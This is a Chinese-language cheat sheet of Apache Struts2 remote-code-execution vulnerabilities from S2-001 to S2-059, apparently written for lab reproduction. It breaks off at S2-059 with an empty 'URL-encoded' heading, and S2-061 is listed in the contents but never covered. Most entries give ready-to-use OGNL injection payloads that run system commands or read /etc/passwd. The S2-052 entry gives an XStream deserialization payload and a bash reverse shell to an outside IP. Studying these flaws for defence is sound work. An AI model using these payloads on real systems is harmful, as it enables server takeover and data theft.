目录
🌷S2-001
🌼1、漏洞原理
🌼2、影响版本
🌼3、验证方法
🌷S2-005
🌼1、漏洞原理
🌼2、影响版本
🌼3、验证方法(无回显)
🌼4、验证方法(有回显)
🌷S2-007
🌼1、漏洞原理
🌼2、影响版本
🌼3、漏洞验证
🌷S2-008
🌼1、漏洞原理
🌼2、影响版本
🌼3、漏洞验证
🌷S2-009
🌼1、漏洞原理
🌼2、影响版本
🌼3、漏洞验证
🌷S2-012
🌼1、漏洞原理
🌼2、影响版本
🌼3、漏洞验证
🌷S2-013
🌼1、漏洞原理
🌼2、影响版本
🌼3、漏洞验证
🌷S2-014
🌼1、漏洞原理
🌼2、影响版本
🌼3、漏洞验证
🌷S2-015
🌼1、漏洞原理
🌼2、影响版本
🌼3、漏洞验证
🌷S2-016
🌼1、漏洞原理
🌼2、影响版本
🌼3、漏洞验证
🌷S2-032
🌼1、漏洞原理
🌼2、影响版本
🌼3、漏洞验证
🌷S2-045
🌼1、漏洞原理
🌼2、影响版本
🌼3、漏洞验证
🌷S2-046
🌼1、漏洞原理
🌼2、影响版本
🌼3、漏洞验证
🌷S2-048
🌼1、漏洞原理
🌼2、影响版本
🌼3、漏洞验证
🌷S2-052
🌼1、漏洞原理
🌼2、影响版本
🌼3、漏洞验证
🌷S2-053
🌼1、漏洞原理
🌼2、影响版本
🌼3、漏洞验证
🌷S2-057
🌼1、漏洞原理
🌼2、影响版本
🌼3、漏洞验证
🌷S2-059
🌼1、漏洞原理
🌼2、影响版本
🌼3、漏洞验证
🌷S2-061
🌼1、漏洞原理
🌼2、影响版本
🌼3、漏洞验证
🌷S2-001
🌼1、漏洞原理
因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。
🌼2、影响版本
Struts 2.0.0 - 2.0.8
🌼3、验证方法
由漏洞原理可知,可以通过%{value}进行判断是否存在S2-001,这里我们构建payload为:%{1+1},下图分别为提交前后显示,提交后返回中计算了{}中的数学表达式
🍑(1)获取web路径poc
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}
🍑(2)命令执行poc(只需要修改加粗处命令即可,读取文件是第一个参数为命令,第二个参数为路径,若只有命令则只添加命令参数即可)
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
🌷S2-005
🌼1、漏洞原理
S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。
🌼2、影响版本
Struts 2.0.0 - Struts 2.1.8.1
🌼3、验证方法(无回显)
🍓POC:
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
此poc分为三个部分,执行结果为在tmp文件夹下创建success文件
(1)(’\u0023_memberAccess[‘allowStaticMethodAccess’]’)(vaaa)=true
第一步将_memberAccess变量中的allowStaticMethod设置为true,这里payload还要加括号,并且还带个"(meh)"呢?其实是为了遵守Ognl语法树的规则。第一步完成后,就可以执行静态方法了。
(2)(aaaa)((’\u0023context[‘xwork.MethodAccessor.denyMethodExecution’]\u003d\u0023vccc’)(\u0023vccc\u003dnew java.lang.Boolean(“false”)))
第二步将上下文中的xwork.MethodAccessor.denyMethodExecution设置为false,即允许方法的执行,这里的MehodAccessor是Struts2中规定方法/属性访问策略的类,也存在与Ognl的上下文中。同样遵守Ognl语法树规则。
(3)(asdf)((’\u0023rt.output(“touch@/tmp/success”.split("@"))’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
第三步就是真正的攻击代码,前两步就是要保证第三步成功执行,第三步就是执行了关闭服务器的代码。但是要过调用Runtime类的静态方法获取一个Runtime对象。
🌼4、验证方法(有回显)
🍓POC:
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))
(1)设置上下文denyMethodExecution=false 运行方法执行
(2)excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量)设置外部拦截器为空
(3)mycmd=“whoami” 定义我们的执行命令的变量
(4)myret=@java.lang.Runtime@getRuntime().exec(\43mycmd)’) (调用静态方法执行我们的变量)
(5)mydat=new java.io.DataInputStream(\43myret.getInputStream())’) 获取输入流 (post)
(6)myres=new data[51020];mydat.readfully(myres); 读取输入流
(5,6为了转换输入流的类型)
(7)mystr=new java.lang.String(#myres) ;定义并赋值输入流
(8)myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据
(9)myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。
🌷S2-007
🌼1、漏洞原理
age参数只能是整数,而非整数会导致错误,struct会将用户的输入当作ognl表达式执行,从而导致了该漏洞
🌼2、影响版本
Struts 2.0.0 - Struts 2.2.3
🌼3、漏洞验证
在age参数处输入以下poc即可
🍓POC:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '
🌷S2-008
🌼1、漏洞原理
?debug=command&expression=处存在OGNL远程代码执行漏洞
🌼2、影响版本
Struts 2.0.0 - Struts 2.3.1
🌼3、漏洞验证
在url后拼接以下POC即可
🍓POC:
?debug=command&expression=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22whoami%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()
🌷S2-009
🌼1、漏洞原理
当前版本的action中接受了某个参数example,这个参数将进入OGNL的上下文。我们可以将OGNL表达式放在example参数中,然后使用/HelloWorld.acton?example=&(example)(‘xxx’)=1的方法来执行绕过。
🌼2、影响版本
Struts 2.0.0 - Struts 2.3.1.1
🌼3、漏洞验证
在漏洞url后拼接以下poc即可(age参数可不要,根据具体情况取舍)
🍓POC:
?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
🌷S2-012
🌼1、漏洞原理
重定向的路径中使用了 %{} 导致了的 RCE 漏洞。漏洞触发原理与 S2-001 类似,对 %{} 表达式进行了循环解析
OGNL 评估已在S2-003和S2-005和S2-009 中得到解决,但是,由于它只涉及参数的名称,因此结果是基于将可接受的参数名称列入白名单并拒绝评估参数中包含的表达式的结果修复名称,仅部分关闭了漏洞。第二次评估发生在重定向结果从堆栈中读取并使用先前注入的代码作为重定向参数时。这使得恶意用户可以将任意 OGNL 语句放入由操作公开的任何未经处理的 String 变量中,并将其评估为 OGNL 表达式以启用方法执行和执行任意方法,从而绕过 Struts 和 OGNL 库保护。
在配置文件中 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,可能会导致 OGNL 表达式命令执行。
🌼2、影响版本
Struts 2.1.0 - 2.3.13
🌼3、漏洞验证
使用S2-001的POC即可,但是要对其进行URL编码
🍓POC:
%25{
%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
%23b%3d%23a.getInputStream(),
%23c%3dnew+java.io.InputStreamReader(%23b),
%23d%3dnew+java.io.BufferedReader(%23c),
%23e%3dnew+char[50000],
%23d.read(%23e),
%23f%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
%23f.getWriter().println(new+java.lang.String(%23e)),
%23f.getWriter().flush(),%23f.getWriter().close()
}
🌷S2-013
🌼1、漏洞原理
链接标签带入参数时导致的OGNL解析漏洞。Struts2标签中<s:a>和<s:url>都包含一个includeParams 属性,其值可设置为none、get或all,参考官方其对应意义如下:
✨none - 链接不包含请求的任意参数值(默认)
✨get - 链接只包含 GET 请求中的参数和其值
✨all - 链接包含 GET 和 POST 所有参数和其值
<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。
🌼2、影响版本
Struts 2.0.0 - 2.3.14
🌼3、漏洞验证
直接在URL链接后添加任意参数和值即可
🍓POC:
?xxx=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
🌷S2-014
🌼1、漏洞原理
S2-014是对于S2-013修复不完整的造成的漏洞,在S2-013 修复的代码中,官方限制了%{(#exp)}格式的OGNL执行,但是忽略了${exp} OGNL表达式执行的方式,因此导致了S2-014的产生。
🌼2、影响版本
Struts 2.0.0 - 2.3.14.1
🌼3、漏洞验证
🍓POC :
?x=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22id%22%29%29%7D
🌷S2-015
🌼1、漏洞原理
S2-015 官方公告公布了两种漏洞利用方式,一种是通配符匹配action,一种是在struts.xml中使用${}引用Action变量导致的二次解析。
(1)漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式
例如如下配置:
<package name="S2-015" extends="struts-default">
<action name="*" class="com.demo.action.PageAction">
<result>/{1}.jsp</result>
</action>
</package>
上述配置能让我们访问name.action时使用name.jsp来渲染页面,但是在提取name并解析时,对其执行了OGNL表达式解析,所以导致命令执行。漏洞原理跟S2-012类似,S2-012利用的重定向类型,S2-015利用的Action的名称。复现的时候发现,由于name值的位置比较特殊,一些特殊的字符如 / " \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。
需要注意,在 Struts 2.3.14.2 中,官方将SecurityMemberAccess类中成员变量allowStaticMethodAccess添加了final修饰符,并且将其set方法进行了删除。这就导致了我们不能通过#_memberAccess["allowStaticMethodAccess"]=true来改变其值,因为没有set方法了。但是至少有两种思路进行绕过:
a. 使用反射修改其值:
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),
b. 使用非静态方法调用 POC:
new java.lang.ProcessBuilder(new java.lang.String[]{"open", "-a","Calculator.app"}).start()
(2)在struts.xml中使用${}引用Action变量导致的二次解析
例如如下配置:
<result type="httpheader">
<param name="errorMessage">${message}</param>
</result>
这里配置了<param name="errorMessage">${message}</param>,其中message为ParamAction中的一个私有变量,这样配置会导致触发该Result时,Struts2会从请求参数中获取message的值,并在解析过程中,触发了OGNL表达式执行。这里需要注意的是这里的二次解析是因为在struts.xml中使用${param}引用了Action中的变量所导致的,并不针对于 type=“httpheader”这种返回方式。
🌼2、影响版本
Struts 2.0.0 - 2.3.14.2
🌼3、漏洞验证
直接提交%{1+1}或${1+1}作为其变量值提交就会得到执行,注意用%{1+1}时需要将%进行url编码
🍓POC:
%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('id').getInputStream())%2C%23q%7D.action
🌷S2-016
🌼1、漏洞原理
在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
🌼2、影响版本
Struts 2.0.0 - 2.3.15.2
🌼3、漏洞验证
漏洞访问URL格式:http://your-ip:8080/index.action?redirect:OGNL表达式,注意一定要对POC进行URL编码
🍑(1)命令执行
🍓原POC:
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
🍓URL编码后:
redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22whoami%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D
🍑(2)获取web目录
🍓原POC:
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
🍓URL编码:
redirect%3A%24%7B%23req%3D%23context.get('co'%2B'm.open'%2B'symphony.xwo'%2B'rk2.disp'%2B'atcher.HttpSer'%2B'vletReq'%2B'uest')%2C%23resp%3D%23context.get('co'%2B'm.open'%2B'symphony.xwo'%2B'rk2.disp'%2B'atcher.HttpSer'%2B'vletRes'%2B'ponse')%2C%23resp.setCharacterEncoding('UTF-8')%2C%23ot%3D%23resp.getWriter%20()%2C%23ot.print('web')%2C%23ot.print('path%3A')%2C%23ot.print(%23req.getSession().getServletContext().getRealPath('%2F'))%2C%23ot.flush()%2C%23ot.close()%7D
🌷S2-032
🌼1、漏洞原理
Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>的方式来调用名字是<name>的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞。
🌼2、影响版本
Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
🌼3、漏洞验证
🍓POC:
xxx.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
🌷S2-045
🌼1、漏洞原理
当content-type中出现"multipart/form_data"时,会被认为有文件上传,从而调用struts2默认的上传文件组件Jakarta,通过组件漏洞载入OGNL代码并执行,从而达到远程调用的目的。
🌼2、影响版本
Struts 2.3.5 - Struts 2.3.31、Struts 2.5 - Struts 2.5.10
🌼3、漏洞验证
🍑(1)POC1:验证漏洞是否存在
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
🍑(2)POC2:用于进行命令执行
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
POC2解析:
(1)用来触发文件漏洞,声明为文件上传
%{(#test='multipart/form-data')
(2)用来注入OGNL代码,通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性,绕过SecurityMemberAccess的限制。
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm))))
(3)剩下的为调用CMD命令的代码,简单粗暴,首先判断操作系统,win下调用cmd,linux下调用bash。
.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
.(#p=new java.lang.ProcessBuilder(#cmds))
.(#p.redirectErrorStream(true))
.(#process=#p.start())
.(#ros(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))
.(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))
.(#ros.flush())}
🌷S2-046
🌼1、漏洞原理
当content-type中出现"multipart/form_data"时,会被认为有文件上传,从而调用struts2默认的上传文件组件Jakarta,通过组件漏洞载入OGNL代码并执行,从而达到远程调用的目的。
🌼2、影响版本
Struts 2.3.5 - Struts 2.3.31、Struts 2.5 - Struts 2.5.10
🌼3、漏洞验证
此漏洞与S2-045漏洞原理一致,只是漏洞点不一样,因此POC可以通用,但是要注意因为该漏洞的漏洞点在filename参数,所以最后要使用00截断。00截断操作方法:在POC最后添加字符空格+a,添加空格是为了占位,字符a是为了便于识别点位。打开hex扎到a的位置,将其前面一个字符改为00即可
🌷S2-048
🌼1、漏洞原理
Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录,其漏洞成因是当ActionMessage接收客户可控的参数数据时,将用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行,导致任意代码执行。
🌼2、影响版本
Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本
🌼3、漏洞验证
在name一栏输入%{1+1}或者${1+1},点击提交,若返回界面如下所示则证明存在该漏洞。
🍓POC:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
🌷S2-052
🌼1、漏洞原理
Struts2的REST插件存在远程代码执行的高危漏洞,Struts2 REST插件的XStream插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
🌼2、影响版本
Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
🌼3、漏洞验证
访问http://ip/orders.xhtml,即可看到showcase页面。由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。点击任意一个edit,并用bp抓包,转换GET请求为POST请求,按要求修改Content-Type,插入验证代码。
🍑(1)创建文件代码
以下代码功能为在tmp文件夹下创建success文件,点击发送后利用命令docker-compose exec struts2 ls /tmp查看是否成功创建
🍓POC:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
🍑(2)反弹shell代码
将核心代码(红框框处部分)替换为以下代码即可:
🍓POC:
<command> <string>bash</string> <string>-c</string> <string>bash -i >& /dev/tcp/192.168.244.128/777 0>&1</string> </command>
🌷S2-053
🌼1、漏洞原理
Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。
🌼2、影响版本
Struts 2.0.1 -Struts 2.3.33, Struts 2.5 - Struts 2.5.10
🌼3、漏洞验证
访问地址http://IP/hello.action,在your url框中填入POC即可
🍓POC:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
🌷S2-057
🌼1、漏洞原理
定义XML配置时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。
利用条件:(1)alwaysSelectFullNamespace操作元素没有设置命名空间属性,或者使用通配符;(2)命名空间将由用户从uri传递,并被解析为OGNL表达式,最终导致远程代码执行漏洞。
🌼2、影响版本
<=Struts 2.3.34,Struts 2.5.16
🌼3、漏洞验证
🍑(1)验证漏洞:http://IP/struts2-showcase/$%7B233*233%7D/actionChain1.action
payload被执行,计算出了233*233的值
🍑(2)命令执行
🍓POC:
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).
(#ct.setMemberAccess(#dm)).
(#a=@java.lang.Runtime@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
🍓插入代码时要进行URL编码:
%24%7b%0d%0a(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7d%0d%0a
🌷S2-059
🌼1、漏洞原理
使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。
🌼2、影响版本
Struts 2.0.0 – Struts 2.5.20
🌼3、漏洞验证
🍑(1)验证漏洞
在URL后拼接?id=%{1+1},观察回显,如POC:http://192.168.244.128:8080/?id=%25{2*2}
🍑(2)命令执行
🍓POC:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.setExcludedPackageNames('')).
(#ou.setExcludedClasses('')).
(#ct.setMemberAccess(#dm)).
(#a=@java.lang.Runtime@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
🍓URL编码后:
